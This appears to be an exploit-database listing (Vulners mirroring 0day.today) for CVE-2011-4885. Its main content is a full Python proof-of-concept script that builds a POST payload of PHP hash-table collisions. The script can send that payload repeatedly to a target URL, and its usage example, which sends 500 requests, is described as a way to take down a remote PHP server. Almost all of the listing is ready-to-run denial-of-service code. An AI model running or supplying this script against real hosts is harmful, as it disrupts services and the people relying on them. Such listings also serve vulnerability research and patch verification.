Lucene search
K

PHP Hash Table Collision Proof Of Concept

🗓️ 03 Jan 2012 00:00:00Reported by Christian Mehlmau.Type 
zdt
 zdt
🔗 0day.today👁 48 Views

This script is a proof of concept for a PHP Hashtable exploit capable of taking down a remote PHP host by making multiple requests without waiting for a response

Related
Code
'''
This script was written by Christian Mehlmauer <[email protected]>
Original PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
CVE : CVE-2011-4885
 
requires Python 2.7
 
Examples:
-) Make a single Request, wait for the response and save the response to output0.html
python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output
 
-) Take down a server(make 500 requests without waiting for a response):
python HashtablePOC.py -u https://host/index.php -v -c 500
 
Changelog:
v2.0: Added Support for https, switched to HTTP 1.1
v1.0: Initial Release
'''
 
import socket
import sys
import math
import urllib
import string
import time
import urlparse
import argparse
import ssl
 
def main():
    parser = argparse.ArgumentParser(description="Take down a remote PHP Host", prog="PHP Hashtable Exploit")
    parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
    parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response")
    parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests")
    parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output")
    parser.add_argument("-f", "--file", dest="file", help="Save payload to file")
    parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w")
    parser.add_argument('--version', action='version', version='%(prog)s 2.0')
 
    options = parser.parse_args()
 
    url = urlparse.urlparse(options.url)
 
    if not url.scheme:
        print("Please provide a scheme to the URL(http://, https://,..")
        sys.exit(1)
 
    host = url.hostname
    path = url.path
    port = url.port
    if not port:
        if url.scheme == "https":
            port = 443
        elif url.scheme == "http":
            port = 80
        else:
            print("Unsupported Protocol %s" % url.scheme)
            sys.exit(1)
    if not path:
        path = "/"
 
    print("Generating Payload...")
    payload = generatePayload()
    print("Payload generated")
    if options.file:
        f = open(options.file, 'w')
        f.write(payload)
        f.close()
        print("Payload saved to %s" % options.file)
    print("Host: %s" % host)
    print("Port: %s" % str(port))
    print("path: %s" % path)
    print
    print
 
    for i in range(options.count):
        print("sending Request #%s..." % str(i+1))
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if url.scheme == "https":
            ssl_sock = ssl.wrap_socket(sock)
            ssl_sock.connect((host, port))
            ssl_sock.settimeout(None)
        else:
            sock.connect((host, port))
            sock.settimeout(None)
 
        request = """POST %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)
Content-Length: %s
 
%s
 
""" % (path, host, str(len(payload)), payload)
 
        if url.scheme == "https":
            ssl_sock.send(request)
        else:
            sock.send(request)
 
        if options.verbose:
            if len(request) > 300:
                print(request[:300]+"....")
            else:
                print(request)
            print
        if options.wait or options.output:
            start = time.clock()
            if url.scheme == "https":
                data = ssl_sock.recv(1024)
                string = ""
                while len(data):
                    string = string + data
                    data = ssl_sock.recv(1024)
            else:
                data = sock.recv(1024)
                string = ""
                while len(data):
                    string = string + data
                    data = sock.recv(1024)
             
            elapsed = (time.clock() - start)
            print ("Request %s finished" % str(i+1))
            print ("Request %s duration: %s" % (str(i+1), elapsed))
            split = string.partition("\r\n\r\n")
            header = split[0]
            content = split[2]
            if options.verbose:
                # only print http header
                print
                print(header)
                print
            if options.output:
                f = open(options.output+str(i)+".html", 'w')
                f.write("<!-- "+header+" -->\r\n"+content)
                f.close()
 
        if url.scheme == "https":
            ssl_sock.close()
            sock.close()
        else:
            sock.close()
 
def generatePayload():
    # Taken from:
    # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
 
    # Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)
     
    # entries with collisions in PHP hashtable hash function
    a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)}
    # how long should the payload be
    length = 7
    size = len(a)
    post = ""
    maxvaluefloat = math.pow(size,length)
    maxvalueint = int(math.floor(maxvaluefloat))
    for i in range (maxvalueint):
        inputstring = base_convert(i, size)
        result = inputstring.rjust(length, '0')
        for item in a:
            result = result.replace(item, a[item])
        post += '' + urllib.quote(result) + '=&'
 
    return post;
 
def base_convert(num, base):
    fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    alphabet = fullalphabet[:base]
    if (num == 0):
        return alphabet[0]
    arr = []
    base = len(alphabet)
    while num:
        rem = num % base
        num = num // base
        arr.append(alphabet[rem])
    arr.reverse()
    return ''.join(arr)
 
if __name__ == "__main__":
    main()



#  0day.today [2018-02-15]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation